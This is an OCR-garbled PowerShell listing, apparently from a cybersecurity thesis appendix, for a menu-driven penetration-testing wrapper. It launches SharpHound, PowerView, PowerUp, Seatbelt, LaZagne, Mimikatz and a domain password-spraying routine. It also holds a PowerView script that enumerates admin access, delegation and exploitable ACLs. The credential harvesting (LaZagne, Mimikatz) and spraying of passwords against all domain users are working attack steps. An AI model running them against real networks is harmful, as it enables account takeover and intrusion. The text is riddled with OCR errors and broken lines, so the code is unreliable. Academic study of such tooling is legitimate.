#Write-Host "

#Press any key to go back to main menu"
#[void]($Host.Ul.RawUI.ReadKey('NoEcho,IncludeKeyDown'))
}

function RunPowerView

{

cls
$PowerViewOutputFolder = $RunFolder+"\PowerView"
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$TestPowerViewOutputFolder = Test-Path $PowerViewOutputFolder

if (-not $TestPowerViewOutputFolder) {New-ltem -ltemType Directory -Force -Path $PowerViewOutputFolder}
$PowerViewOutputFile = $PowerViewOutputFolder+"\PowerViewOutput.txt"

New-Item -ItemType File -Force -Path $PowerViewOutputFile | Out-Null

$PowerViewExec="""$CurrentPath"+"\PowerViewSelectedCommands.ps1™"
$PowerViewArgl=" -ForDomain $DomainName"
$PowerViewArg2="-DomainController $DomainController"

$RunPowerViewExec= Start-Process powershell.exe -Args "$PowerViewExec $PowerViewArgl $PowerViewArg2" -Credential $cred -WindowStyle
Minimized -PassThru -RedirectStandardOutput $PowerViewOutputFile

Start-Sleep -Milliseconds 50
ReFocus -Process $RunPowerViewExec

Write-Host "

PowerView is running in a minimized window.

The output file containing the results will be saved on:
- $PowerViewOutputFile

Read-MessageBoxDialog -Message "PowerView is running in a minimized window.

The output file containing the results will be saved on:
$PowerViewOutputFile" -WindowTitle "Run PowerView operation" -Buttons OkOnly -lcon Information -DefaultButton 1

function RunPowerUp

{

cls

$PowerUpOutputFolder = $RunFolder+"\PowerUp"

$TestPowerUpOutputFolder = Test-Path $PowerUpOutputFolder

if (-not $TestPowerUpOutputFolder) {New-ltem -ltemType Directory -Force -Path $PowerUpOutputFolder}

$RunPowerUpExec = Start-Process powershell.exe -ArgumentList {Invoke-AllChecks -HTMLReport} -WorkingDirectory "$PowerUpOutputFolder" -
PassThru

Start-Sleep -Milliseconds 50

ReFocus -Process $RunPowerUpExec

Write-Host "

PowerUp is running in a minimized window.

The output file containing the results will be saved on:
- $PowerUpOutputPathFilename

Read-MessageBoxDialog -Message "PowerUp is running in a minimized window.

The output file containing the results will be saved on:
$PowerUpOutputFolder" -WindowTitle "Run PowerUp operation” -Buttons OkOnly -Icon Information -DefaultButton 1

function RunSharpHound

{

param(
[string]$Domain,
[System.Management.Automation.PSCredential]$UserCredentials,
[string]$PathToEXE
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)

cls

$SharpHoundArg1l = "--Domain”

$SharpHoundArg2 = "--OutputDirectory"

$SharpHoundOutputFolder = $RunFolder+"\SharpHound"

$TestSharpHoundOutputFolder = Test-Path $SharpHoundOutputFolder

if (-not $TestSharpHoundOutputFolder) {New-ltem -ltemType Directory -Force -Path $SharpHoundOutputFolder}
$RunOption = Read-Host -Prompt "

Do you want SharpHound to search domain $Domain only once

or more times, using loop function?

For better results it is recommended to use the loop function.

Select:
- 1to run once,
- L for loop or
- any other key to return to basic menu

Selection (default L) "
if ([string]::IsNullOrwWhiteSpace($RunOption)) { $RunOption = "L" }

Switch ($RunOption)
{
1 {
$RunSharpHoundExec = Start-Process -FilePath "$PathToEXE" -ArgumentList "$SharpHoundArgl $Domain $SharpHoundArg2
$SharpHoundOutputFolder" -Credential $UserCredentials -WindowStyle Minimized -PassThru
Start-Sleep -Milliseconds 50
ReFocus -Process $RunSharpHoundExec
Write-Host "

SharpHound is scanning domain $Domain in a minimized
window according to the parameters specified by user.
The output file containing the results will be saved

under folder:

- $SharpHoundOutputFolder”
Read-MessageBoxDialog -Message "SharpHound is scanning domain $Domain in a minimized
window according to the parameters specified by user.
The output file containing the results will be saved
under folder:

- $SharpHoundOutputFolder" -WindowTitle "Info: SharpHourd is running" -Buttons Okonly -lcon Information -DefaultButton 1

}
L {
Write-Host "

Using the loop function SharpHound will run every 30 sec

$LoopDuration = Read-Host -Prompt "Please specify the amount of time that SharpHound
will run on a loop (recommended: at least 10 min).

Specify duration in format HH:MM:SS (Default=00:12:00) "
if ([string]::IsNullOrwWhiteSpace($LoopDuration)) { $LoopDuration = "00:12:00" }

$SharpHoundLoopDurationArgument = "--loopduration $LoopDuration"
$RunSharpHoundExec = Start-Process -FilePath "$PathToEXE" -ArgumentList "$SharpHoundArgl $Domain --loop
$SharpHoundLoopDurationArgument $SharpHoundArg2 $SharpHoundOutputFolder” -Credential $UserCredentials -WindowStyle Minimized -
PassThru
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Start-Sleep -Milliseconds 50
ReFocus -Process $RunSharpHoundExec
Write-Host "

SharpHound is scanning domain $Domain in a minimized
window according to the parameters specified by user.
The output file containing the results will be saved

under folder:

- $SharpHoundOutputFolder”
Read-MessageBoxDialog -Message "SharpHound is scanning domain $Domain in a minimized
window according to the parameters specified by user.
The output file containing the results will be saved
under folder:

- $SharpHoundOutputFolder" -WindowTitle "Info: SharpHourd is running" -Buttons Okonly -lcon Information -DefaultButton 1
default {}

} # End Switch.

function RunSeatBelt

{
param(
[string]$ComputerName,
[System.Management.Automation.PSCredential]$UserCredentials,
[string]$GroupSelection,
[string]$SeatBeltOutputFolder
)
$SeatBeltArgl = "-group="+"$GroupSelection"
$SeatBeltArg2 = "-full"
$SeatBeltArg3 = "-computername="+"$ComputerName"
if ($ComputerName)

{
$SeatBeltOutputPathFilename = $SeatBeltOutputFolder+"\SeatBelt_Results_for_"+"$ComputerName"+".txt"

New-Item -ItemType File -Force -Path $SeatBeltOutputPathFilename

$SeatBeltArg4 = "-outputfile="+"$SeatBeltOutputPathFilename"

$SeatBeltArg5 = "-credentials="+"$UserCredentials"

#$SeatBeltArg6 = "-password="+""+"$UserCredentials.Password"+""

$RunSeatBeltExec = Start-Process -FilePath "$SeatbeltEXE" -ArgumentList "$SeatBeltArgl $SeatBeltArg2 $SeatBeltArg3 $SeatBeltArgs
SeatBeltArg5" -WindowStyle Minimized -PassThru

Start-Sleep -Milliseconds 50

ReFocus -Process $RunSeatBeltExec

} else

{

$ComputerName=hostname

$SeatBeltOutputPathFilename = $SeatBeltOutputFolder+"\SeatBelt_Results_for_"+"$ComputerName"+".txt"

New-Item -ltemType File -Force -Path $SeatBeltOutputPathFilename

$SeatBeltArg4 = "-outputfile="+"$SeatBeltOutputPathFilename"

$RunSeatBeltExec = Start-Process -FilePath "$SeatbeltEXE" -ArgumentList "$SeatBeltArgl $SeatBeltArg2 $SeatBeltArg4" -WindowStyle
Minimized -PassThru

Start-Sleep -Milliseconds 50
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ReFocus -Process $RunSeatBeltExec

}

function RunSeatBeltChecks
{
$SeatBeltOutputFolder = $RunFolder + "\SeatBeltResults"
$TestSeatBeltOutputFolder = Test-Path $SeatBeltOutputFolder
if (-not $SeatBeltOutputFolder) {New-Item -ltemType Directory -Force -Path $SeatBeltOutputFolder}
if ($cred)
{
Do {
cls
Show-SeatBelt-Menu -LocalRemoteSwitch R
Write-Host -fore Yellow 'Enter 1 - 3 or B to return to previous menu: ' -NoNewline
$SeatBeltMenu = Read-Host
Switch ($SeatBeltMenu)

{
1 {
cls
RunSeatBelt -GroupSelection all -SeatBeltOutputFolder $SeatBeltOutputFolder
Write-Host "

User selected 1

Seatbelt is scanning local computer in a minimized window
according to the parameters specified by user. The output file
containing the results will be saved under folder:

- $SeatBeltOutputFolder"

Read-MessageBoxDialog -Message "Seatbelt is scanning local computer in a minimized window
according to the parameters specified by user. The output file
containing the results will be saved under folder:

- $SeatBeltOutputFolder" -WindowTitle "Info: Seatbelt is running" -Buttons Okonly -Icon Information -DefaultButton 1

2 {
cls
Write-Host "User selected 2"
$EnteredPCName = Read-InputBoxDialog -Message "Enter PC Name of remote computer: " -WindowTitle "Remote PC" -Buttons
OKCancel -lcon Question
if ($EnteredPCName) #Not empty or cancelled by user
{
RunSeatBelt -ComputerName $EnteredPCName -GroupSelection remote -UserCredentials $cred -SeatBeltOutputFolder
$SeatBeltOutputFolder
Write-Host *
Seatbelt is scanning computer $EnteredPCName in a minimized window
according to the parameters specified by user. The output
file containing the results will be saved under folder:

- $SeatBeltOutputFolder”

Read-MessageBoxDialog -Message "Seatbelt is scanning computer $EnteredPCName in a minimized window
according to the parameters specified by user. The output
file containing the results will be saved under folder:
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- $SeatBeltOutputFolder" -WindowTitle "Info: Seatbelt is running" -Buttons Okonly -Icon Information -DefaultButton 1

}else

{

Write-Host "PC Name field is empty or operation cancelled by user"

Read-MessageBoxDialog -Message "PC Name field is empty or operation cancelled by user" -WindowTitle "Cancel operation"” -
Buttons OkOnly -lcon Exclamation -DefaultButton 1

}

cls
Write-Host "User selected 3"
$filePath = Read-OpenFileDialog -WindowTitle "Select file containing PC Names (one in each row)"
if (![string]::IsNullOrEmpty($filePath))
{
Write-Host ™
Write-Host "You selected the file:"
Write-Host "$filePath"
Write-Host ™
$PCNames = Get-Content -path $filePath
foreach ($PCName in $PCNames)
{
RunSeatBelt -ComputerName $PCName -GroupSelection remote -UserCredentials $cred -SeatBeltOutputFolder
$SeatBeltOutputFolder
}
Write-Host "Seatbelt is scanning all computers
of file $filePath in several minimized windows
according to the parameters specified by user. The output
file containing the results will be saved under folder:

- $SeatBeltOutputFolder"
Read-MessageBoxDialog -Message "Seatbelt is scanning all computers
of file $filePath in several minimized windows
according to the parameters specified by user. The output
file containing the results will be saved under folder:

- $SeatBeltOutputFolder" -WindowTitle "Info: Seatbelt is running" -Buttons Okonly -Icon Information -DefaultButton 1
} else

Write-Host ™
Write-Host "The procedure is cancelled by user."
Read-MessageBoxDialog -Message "User cancelled the operation" -WindowTitle "Cancel operation" -Buttons OkOnly -lcon
Exclamation -DefaultButton 1

} # End Switch.
} Until ($SeatBeltMenu -eq 'B")
} else
{
Do {
Show-SeatBelt-Menu -LocalRemoteSwitch L
Write-Host -fore Yellow 'Enter 1 - 3 or B to return to previous menu: ' -NoNewline
$SeatBeltMenu = Read-Host
Switch ($SeatBeltMenu)

{
1
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cls
RunSeatBelt -GroupSelection all -SeatBeltOutputFolder $SeatBeltOutputFolder
Write-Host "
User selected 1

Seatbelt is scanning local computer in a minimized window
according to the parameters specified by user. The output file
containing the results will be saved under folder:

- $SeatBeltOutputFolder"

Read-MessageBoxDialog -Message "Seatbelt is scanning local computer in a minimized window
according to the parameters specified by user. The output file
containing the results will be saved under folder:

- $SeatBeltOutputFolder" -WindowTitle "Info: Seatbelt is running" -Buttons Okonly -Icon Information -DefaultButton 1
}
2 {
write-host -fore red "
You did not provide domain user credentials.
This option is unavailable.

Read-MessageBoxDialog -Message "You did not provide domain user credentials.
This option is unavailable." -WindowTitle "No domain information provided !!" -Buttons OkOnly -lcon Exclamation -DefaultButton 1
}
3 {
write-host -fore red "
You did not provide domain user credentials.
This option is unavailable.

Read-MessageBoxDialog -Message "You did not provide domain user credentials.
This option is unavailable." -WindowTitle "No domain information provided !!" -Buttons OkOnly -lcon Exclamation -DefaultButton 1

}

} # End Switch.
} Until ($SeatBeltMenu -eq 'B')

function RunLazagne

{

cls

if ($cred)
{$user=$cred.UserName
Write-Host "Continue with stored credentials?"
$PromptToGiveCredentials = Read-MessageBoxDialog -Message "Lazagne can search for stored passwords
from various software (like browsers, Windows Vault,
Openvpn, WiFi etc) ONLY on local computer.
You have already provided credentials
for user: $user

Do you want to continue using this user?

Press:

-> Yes to continue with the same user

-> No to give credentials of another user on this PC
(The new credentials will be valid only for Lazagne,
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i.e it will not affect stored domain credentials)
-> Cancel to go back to main menu" -WindowTitle "Continue with stored credentials?" -Buttons YesNoCancel -Icon Question -DefaultButton 1

Switch ($PromptToGiveCredentials)
{
Yes {
$LazagneOutputFolder = $RunFolder+"\Lazagne"
$TestLazagneOutputFolder = Test-Path $LazagneOutputFolder
if (-not $TestLazagneOutputFolder) {New-Item -ltemType Directory -Force -Path $LazagneOutputFolder | Out-Null}
$LazagneOutputFile = $LazagneOutputFolder+"\LazagneVerboseForUser-"+$DomainUserName+".txt"
New-Item -ItemType File -Force -Path $LazagneOutputFile | Out-Null
$LazagneargExe=""+"$LazagneEXE"+""
$Lazagneargl="all"
$Lazagnearg2="-oN"
$Lazagnearg3="-w"
$Lazagnearg4="-output $LazagneOutputFolder"
$RunlazagneExec = Start-Process -FilePath "$LazagneargExe" -ArgumentList "$Lazagneargl $Lazagnearg2 $Lazagnearg3
$Lazagnearg4" -Credential $cred -WindowStyle Minimized -PassThru -RedirectStandardOutput $LazagneOutputFile
Start-Sleep -Milliseconds 50
ReFocus -Process $RunlazagneExec
Write-Host "

Lazagne is scanning this computer in a minimized window
according to the parameters specified by user. The output file
containing the results will be saved under folder:

$LazagneOutputFolder"

Read-MessageBoxDialog -Message "Lazagne is scanning this computer in a minimized window
according to the parameters specified by user. The output file
containing the results will be saved under folder:

$LazagneOutputFolder" -WindowTitle "Run Lazagne operation” -Buttons OkOnly -Icon Information -DefaultButton 1
}
No {
$Enteredcred=(Get-Credential -Message "Please provide one-time credentials for Lazagne in format: DomainName\UserName")
$User=$Enteredcred.GetNetworkCredential(). Username
$LazagneOutputFolder = $RunFolder+"\Lazagne"
$TestLazagneOutputFolder = Test-Path $LazagneOutputFolder
if (-not $TestLazagneOutputFolder) {New-Item -ltemType Directory -Force -Path $LazagneOutputFolder | Out-Null}
$LazagneOutputFile = $LazagneOutputFolder+"\LazagneVerboseForUser-"+$User+".txt"
New-Item -ItemType File -Force -Path $LazagneOutputFile | Out-Null
$LazagneargExe=""+"$LazagneEXE"+""
$Lazagneargl="all"
$Lazagnearg2="-oN"
$Lazagnearg3="-w"
$Lazagnearg4="-output $LazagneOutputFolder"
$RunlazagneExec = Start-Process -FilePath "$LazagneargExe" -ArgumentList "$Lazagneargl $Lazagnearg3" -Credential $Enteredcred -
WindowStyle Minimized -RedirectStandardOutput $LazagneOutputFile -PassThru
Start-Sleep -Milliseconds 50
ReFocus -Process $RunlazagneExec
Write-Host *

Lazagne is scanning this computer in a minimized window
according to the parameters specified by user. The output file
containing the results will be saved under folder:

$LazagneOutputFolder"
Read-MessageBoxDialog -Message "Lazagne is scanning this computer in a minimized window
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according to the parameters specified by user. The output file
containing the results will be saved under folder:

$LazagneOutputFolder" -WindowTitle "Run Lazagne operation" -Buttons OkOnly -Icon Information -DefaultButton 1
}
Cancel {}
} # End Switch
}else
{
}

function RunMimikatz

{

cls

$MimikatzOutputFolder = $RunFolder+"\Mimikatz"

$TestMimikatzOutputFolder = Test-Path $MimikatzOutputFolder

if (-not $TestMimikatzOutputFolder) {New-Item -ltemType Directory -Force -Path $MimikatzOutputFolder}
$MimikatzOutputFile = $MimikatzOutputFolder+"\MimikatzOutput.txt"

New-Item -ItemType File -Force -Path $MimikatzOutputFile | Out-Null

$MimikatzExec=
#$MimikatzArg1l="-ForDomain $DomainName"
#$MimikatzArg2="-DomainController $DomainController"

#$RunMimikatzExec= Start-Process -FilePath PowerShell.exe -ArgumentList $Arguments -WindowStyle Minimized -PassThru -
RedirectStandardOutput $MimikatzOutputFile

$RunMimikatzExec= Start-Process powershell.exe -ArgumentList "$MimikatzExec" -WindowStyle Minimized -PassThru -WorkingDirectory
$MimikatzOutputFolder -RedirectStandardOutput $MimikatzOutputFile

Start-Sleep -Milliseconds 50
ReFocus -Process $RunMimikatzExec

Write-Host "

Mimikatz is running in a minimized window.

The output file containing the results will be saved on:
- $MimikatzOutputFile

Read-MessageBoxDialog -Message "Mimikatz is running in a minimized window.

The output file containing the results will be saved on:
$MimikatzOutputFile" -WindowTitle "Run Mimikatz operation” -Buttons OkOnly -Icon Information -DefaultButton 1

function Show-DomainPasswordSpray-Menu

{

cls

Write-Host ™

Write-Host ™

Write-Host -fore Yellow " DomainPasswordSpray Menu
Write-Host ™

Write-Host -fore Yellow "1: Press '1' to check a password against all users of domain $DomainName”
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Write-Host -fore Yellow "

Write-Host -fore Yellow "2: Press '2' to check a password against a user list"

Write-Host -fore Yellow " (you will be asked to provide text file with usernames)"
Write-Host -fore Yellow "

Write-Host -fore Yellow "3: Press '3' to check a list of passwords against all users of domain $DomainName"
Write-Host -fore Yellow " (you will be asked to provide text file with possible passwords)"
Write-Host -fore Yellow "

Write-Host -fore Yellow "4: Press '4' to check a list of passwords against a list of users"
Write-Host -fore Yellow " (you will be asked to provide a text file with possible passwords"
Write-Host -fore Yellow " and a second text file with the list of users)"

Write-Host -fore Yellow "

U: Press 'U' to get a list of all active users in domain $DomainName"
Write-Host -fore Yellow "

B: Press 'B' to go back to previous menu."
Write-Host -fore Yellow "
Write-Host ™

}

function RunDomainPasswordSpray

{

$DomainPasswordSprayOutputFolder = $RunFolder + "\DomainPasswordSprayResults"
$TestDomainPasswordSprayOutputFolder = Test-Path $DomainPasswordSprayOutputFolder

if (-not $DomainPasswordSprayOutputFolder) {New-ltem -ltemType Directory -Force -Path $DomainPasswordSprayOutputFolder}

Do {
cls
Show-DomainPasswordSpray-Menu
Write-Host -fore Yellow 'Enter 1 - 4 or B to return to previous menu: ' -NoNewline
$DomainPasswordSprayMenu = Read-Host
Switch ($DomainPasswordSprayMenu)

{

1 {
Write-Host "User selected 1"
cls

$ProvidePassword = Read-InputBoxDialog -Message "Provide password:" -WindowTitle "Password?" -Buttons YesNo -lcon
Question
if ($ProvidePassword) #Not empty or cancelled by user

{

$DomainPasswordSprayOutputFilel = $DomainPasswordSprayOutputFolder+"\DomainPasswordSprayOutput_optionZ1.txt"

New-Item -ltemType File -Force -Path $DomainPasswordSprayOutputFilel | Out-Null

Invoke-DomainPasswordSpray -Password $ProvidePassword -domain $DomainName -Force -OutFile
$DomainPasswordSprayOutputFilel

Read-MessageBoxDialog -Message "DomainPasswordSpray searched all users
of the domain $DomainName.
If the provided password had any success
on any of the domain users it will be written on

$DomainPasswordSprayOutputFilel

If the file is empty then there was no hit on any of the users.
Try again with another password" -WindowTitle "Info: DomainPasswordSpray finished searching” -Buttons Okonly -Icon Information -DefaultButton
1

} else

{
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Write-Host "User cancelled or password field is empty."

Read-MessageBoxDialog -Message "User cancelled or password field is empty." -WindowTitle "Cancel" -Buttons OkOnly -lcon
Exclamation -DefaultButton 1

}
}
2 {
Write-Host "User selected 2"
cls
$ProvidePassword = Read-InputBoxDialog -Message "Provide password:" -WindowTitle "Password?" -Buttons YesNo -lcon
Question
if ($ProvidePassword) #Not empty or cancelled by user
{
$UserNamesFile= Read-OpenFileDialog -WindowTitle "Select .txt file containing user names (one in each row)"
if (![string]::IsNullOrEmpty($UserNamesFile))
{

$DomainPasswordSprayOutputFile2 = $DomainPasswordSprayOutputFolder+"\DomainPasswordSprayOutput_option2.txt"
New-Item -ItemType File -Force -Path $DomainPasswordSprayOutputFile2 | Out-Null
Write-Host ™
Write-Host "User selected the file: $UserNamesFile"
Invoke-DomainPasswordSpray -Password $ProvidePassword -UserList $UserNamesFile -domain
$DomainName -Force -OutFile $DomainPasswordSprayOutputFile2
Read-MessageBoxDialog -Message "DomainPasswordSpray searched the users listed in
the file $UserNamesFile
If the provided password had any success
on any of these users it will be written on

$DomainPasswordSprayOutputFile2

If the file is empty then there was no hit on any of the users.

Try again with another password or change user list" -WindowTitle "Info: DomainPasswordSpray finished searching" -Buttons Okonly -lcon
Information -DefaultButton 1

}else
{
Write-Host ™
Write-Host "The procedure is cancelled by user."

Read-MessageBoxDialog -Message "User cancelled the operation" -WindowTitle "Cancel operation" -Buttons OkOnly -Icon
Exclamation -DefaultButton 1

} else
{
Write-Host "User cancelled or password field is empty."

Read-MessageBoxDialog -Message "User cancelled or password field is empty." -WindowTitle "Cancel" -Buttons OkOnly -Icon
Exclamation -DefaultButton 1

}
}
3 {
Write-Host "User selected 3"
cls

$ProvidePasswords = Read-OpenFileDialog -WindowTitle "Select .txt file containing possible passwords (one in each row)"
if ($ProvidePasswords) #Not empty or cancelled by user
{
$DomainPasswordSprayOutputFile3 = $DomainPasswordSprayOutputFolder+"\DomainPasswordSprayOutput_option3.txt"
New-Item -ItemType File -Force -Path $DomainPasswordSprayOutputFile3 | Out-Null
Write-Host "
Write-Host "User selected the file: $ProvidePasswords"

Invoke-DomainPasswordSpray -domain $DomainName -PasswordList $ProvidePasswords -Force -OutFile
$DomainPasswordSprayOutputFile3
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Read-MessageBoxDialog -Message "DomainPasswordSpray searched all users
of domain $DomainName with all passwords provided in
$ProvidePasswords
If any of the provided passwords had any success
on any of domain users it will be written on
$DomainPasswordSprayOutputFile2

If the file is empty then there was no hit.
Try again changing the password list." -WindowTitle "Info: DomainPasswordSpray finished searching" -Buttons Okonly -Icon Information -
DefaultButton 1
} else
{
Write-Host "User cancelled or .txt file field is empty."
Read-MessageBoxDialog -Message "User cancelled or .txt file field is empty." -WindowTitle "Cancel" -Buttons OkOnly -lcon
Exclamation -DefaultButton 1
}
}
4 {
Write-Host "User selected 4"
cls
$ProvidePasswords = Read-OpenFileDialog -WindowTitle "Select .txt file containing possible passwords (one in each row)"
if ($ProvidePasswords) #Not empty or cancelled by user

{
$UserNamesFile= Read-OpenFileDialog -WindowTitle "Select .txt file containing user names (one in each row)"
if (![string]::IsNullOrEmpty($UserNamesFile))
{

$DomainPasswordSprayOutputFile4 = $DomainPasswordSprayOutputFolder+"\DomainPasswordSprayOutput_option4.txt"
New-Item -ItemType File -Force -Path $DomainPasswordSprayOutputFile4 | Out-Null
Write-Host ™
Write-Host "User selected the password list in file : $ProvidePasswords"
Write-Host "User selected the user list in file : $UserNamesFile"
Invoke-DomainPasswordSpray -PasswordList $ProvidePasswords -UserList $UserNamesFile -domain
$DomainName -Force -OutFile $DomainPasswordSprayOutputFile4
Read-MessageBoxDialog -Message "DomainPasswordSpray searched the passwords listed in
$ProvidePasswords against all users
in the file $UserNamesFile
If any of the provided password had any success
on any of these users it will be written on
$DomainPasswordSprayOutputFile4

If the file is empty then there was no hit on any of the users.
Try again changing the password list and’/or
changing the user list" -WindowTitle "Info: DomainPasswordSpray finished searching" -Buttons Okonly -Icon Information -DefaultButton 1
}else
{
Write-Host ™"
Write-Host "User cancelled or .txt file field is empty."
Read-MessageBoxDialog -Message "User cancelled or .txt file field is empty." -WindowTitle "Cancel operation" -Buttons OkOnly -
Icon Exclamation -DefaultButton 1

} else

{

Write-Host "User cancelled or .txt file field is empty."

Read-MessageBoxDialog -Message "User cancelled or .txt file field is empty." -WindowTitle "Cancel" -Buttons OkOnly -Icon
Exclamation -DefaultButton 1

}

}
u {
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$DomainPasswordSprayOutputFile5 = $DomainPasswordSprayOutputFolder+"\DomainUserList.txt"
New-Item -ItemType File -Force -Path $DomainPasswordSprayOutputFile5 | Out-Null
Get-DomainUserList -Domain $DomainName -RemoveDisabled | Out-File -Encoding UTF8 $DomainPasswordSprayOutputFile5
}
} # End Switch.
} Until ($DomainPasswordSprayMenu -eq 'B')

function DomaininfoNotProvided([string]$ApplicationName)

{

Write-Host -fore Red "

Domain Information variables are not provided.
$ApplicationName cannot run because it does not have access
to the domain resources!!!

TIP: You can provide (or change) domain related information
at any time, using the relevant basic menu option (D).

While these parameters are not given, all tools in this script
with domain interaction will be visible on the basic menu,

but unavailable (shown as red).

Read-MessageBoxDialog -Message "Domain Information variables are not provided.
$ApplicationName cannot run because it does not have access
to the domain resources!!!

TIP: You can provide (or change) domain related information

at any time, using the relevant basic menu option (D).

While these parameters are not given, all tools in this script

with domain interaction will be visible on the basic menu,

but unavailable (shown as red)." -WindowTitle "No domain information provided !!" -Buttons OkOnly -Icon Exclamation -DefaultButton 1

HHHH I T T T R
HHHHEHHHHE Programs Section #HEHHHIHE
HHHH I T T T R

$global:CurrentPath = Get-Location

Write-Host "Checking for elevated permissions..."

if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal. Windowsldentity]::GetCurrent()).IsInRole([Security.Principal. WindowsBuiltinRole]
"Administrator"))

{

$RunWithoutAdminPrivileges = Read-MessageBoxDialog -Message " This script is running without Administrator privileges !!!
Do you wish to elevate? (recomended)
Press
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- Yes to rerun the script with elevated privileges.

- No to continue with current privileges (some tools will not function properly)" -WindowTitle "Error: Not enough privileges!" -Buttons YesNo -Icon

Critical -DefaultButton 1

Switch ($RunWithoutAdminPrivileges)
{
No {
Write-Host -fore Red "
User selected to continue without administrator privileges.
Some tools might not work properly!!!

Yes {

"Security.Principal. Windows" | % { IEX "( [ $_"Principal ] [$_"Identity ]::GetCurrent() ).IsInRole( 'Administrator' )" } | ? {

$True | % { $SArguments = @('-NoProfile','-ExecutionPolicy Bypass','-NoExit','"-
File',""$($Mylnvocation.MyCommand.Path)™","\""$CurrentPath\"");
Start-Process -FilePath PowerShell.exe -Verb RunAs -ArgumentList $Arguments; } }
}
}
}else
{

Write-Host -ForegroundColor Green "Script is running with elevated privileges."

}

cls
#split-path -parent $Mylnvocation.MyCommand.Definition
$Global:OutputFolder = ($CurrentPath).Path + "\Output"
$Global:ProgramsFolder = ($CurrentPath).Path + "\Programs"
$TestOutputFolderPath = Test-Path $OutputFolder
if (-not $TestOutputFolderPath) {

New-Item -ltemType Directory -Force -Path $OutputFolder | Out-Null

}

$Global:RunFolder = $OutputFolder + "\Run_on_$(get-date -Format yyyy-MM-dd@HH.mm.ss)"
New-Item -ltemType Directory -Force -Path $RunFolder | Out-Null

$Global:RunLogPathFilename = $RunFolder+"\MultiTool_RunLog.txt"
Start-Transcript -Path $RunLogPathFilename -Verbose -IncludelnvocationHeader | Out-Null

$Global:CurrentPID=$PID

CheckPrerequisites
GetDomaininfo
Do {
Show-Menu
Write-Host -fore Yellow "Enter 1 - 8 or D (Q to quit): " -NoNewline
$MainMenu = Read-Host
Switch ($MainMenu)
{
1 {
Write-Host "User selected: 1"
if (-not $global:Check_Nmap_installation)
{UnavailableAPP -ApplicationName "NMAP"} else {RunNmapChecks}

2 {
Write-Host "User selected: 2"
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if (-not $global:Check_SharpHoundEXE)
{UnavailableAPP -ApplicationName "SharpHound.exe"} else
{if (‘$cred)
{DomaininfoNotProvided -ApplicationName "SharpHound.exe"} else
{RunSharpHound -Domain $DomainName -UserCredentials $cred -PathToOEXE $SharpHoundEXE}

}
3 {
Write-Host "User selected: 3"
if ((-not $global:Check_PowerSploit_installation) -or (-not $global:Check_PowerViewPS1))
{UnavailableAPP -ApplicationName "PowerSploit module"} else
{if (‘$cred)
{DomaininfoNotProvided -ApplicationName "PowerSploit module"} else
{RunPowerView}

}
4 {
Write-Host "User selected: 4"
if (-not $global:Check_PowerSploit_installation)
{UnavailableAPP -ApplicationName "PowerSploit module"} else

{if ("$cred)
{DomaininfoNotProvided -ApplicationName "PowerSploit module"} else
{RunPowerUp}
}
}
5 {

Write-Host "User selected: 5"
if (-not $global:Check_SeatBeltEXE)
{UnavailableAPP -ApplicationName "SeatBelt.exe"} else
{RunSeatBeltChecks}
}
6 |
Write-Host "User selected: 6"
if (-not $global:Check_LazagneEXE)
{UnavailableAPP -ApplicationName "Lazagne.exe"} else {RunLazagne}
}
7 A
Write-Host "User selected: 7"
if (-not $global:Check_MimikatzEXE)
{UnavailableAPP -ApplicationName "Mimikatz.exe"} else
{if ($cred)
{DomaininfoNotProvided -ApplicationName "SeatBelt.exe"} else
{RunMimikatz}}
}
8 |
Write-Host "User selected: 8"
if (-not $global:Check_DomainPasswordSpray_installation)
{UnavailableAPP -ApplicationName "DomainPasswordSpray"} else
{if ($cred)
{DomaininfoNotProvided -ApplicationName "DomainPasswordSpray"} else
{RunDomainPasswordSpray}}
}
D {
ManuallyProvideDomaininfo -mode 2
}
} # End Switch.
} Until ($MainMenu -eq 'Q")
Write-Host "User selected: Quit"

TuAua Mnxavikwyv MNMAnpo@opikhg kal YTroAoyioTwy — MeTtatrTuxiakd KuBepvoao@dAcia
106



AITAwpaTikn epyacia

OEOAQPIAOY MAPIA — AAMNMNAZ TEQPT10Z

Stop-Transcript

PowerView Selected Commands Script

param ([string]$ForDomain, [string]$DomainController)
$CurrentUser= whoami

Write-Host "Running this script with user: $CurrentUser

Write-Host "

Showing general domain information

$DomainBasiclnfo=Get-NetDomain -Domain $ForDomain
$DomainBasiclnfo
$ForestName=$DomainBasiclnfo.Forest.Name
Write-Host "

Showing domain computers information

Get-NetComputer -Domain $ForDomain | select samaccountname, samaccounttype, operatingsystem, logoncount

Write-Host "

Enumerating Domain Groups

Get-NetGroup -Domain $ForDomain

Write-Host "

Enumerating Domain Trusts

Get-NetForestDomain | Get-NetDomainTrust

Write-Host "

Priviledged Users in Forest

Get-DomainForeignUser -Domain $ForDomain

Write-Host "

Priviledged Groups in Forest
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Get-DomainForeignGroupMember -Domain $ForDomain

Write-Host "

Local Admin Access Enumeration

Find-LocalAdminAccess -Domain $ForDomain

Write-Host "

Domain Admins Logged on in PCs

Invoke-UserHunter -CheckAccess

Write-Host "

Interesting Access Control Lists

Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl

Write-Host "

Admin users that allow delegation,
logged into servers that allow

unconstrained delegation

Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

Write-Host "

Get all computer object ACLs and
find RBCD

$computersid = get-domaincomputer | select -exp objectsid

$computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl

foreach ($acl in $computeracls){ foreach ($sid in $computersid) { $acl | 2{$_.Securityldentifier -eq $sid -and ($_.ActiveDirectoryRights -Like
"*GenericAll* -or $_.ActiveDirectoryRights -Like *GenericWrite*' -or $_.ActiveDirectoryRights -Like "WriteOwner*')}}}

Write-Host "
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Find Interesting Network Shares

Invoke-ShareFinder -Domain $ForDomain

Write-Host "

Find Interesting Shared Files

Invoke-FileFinder -Domain $ForDomain
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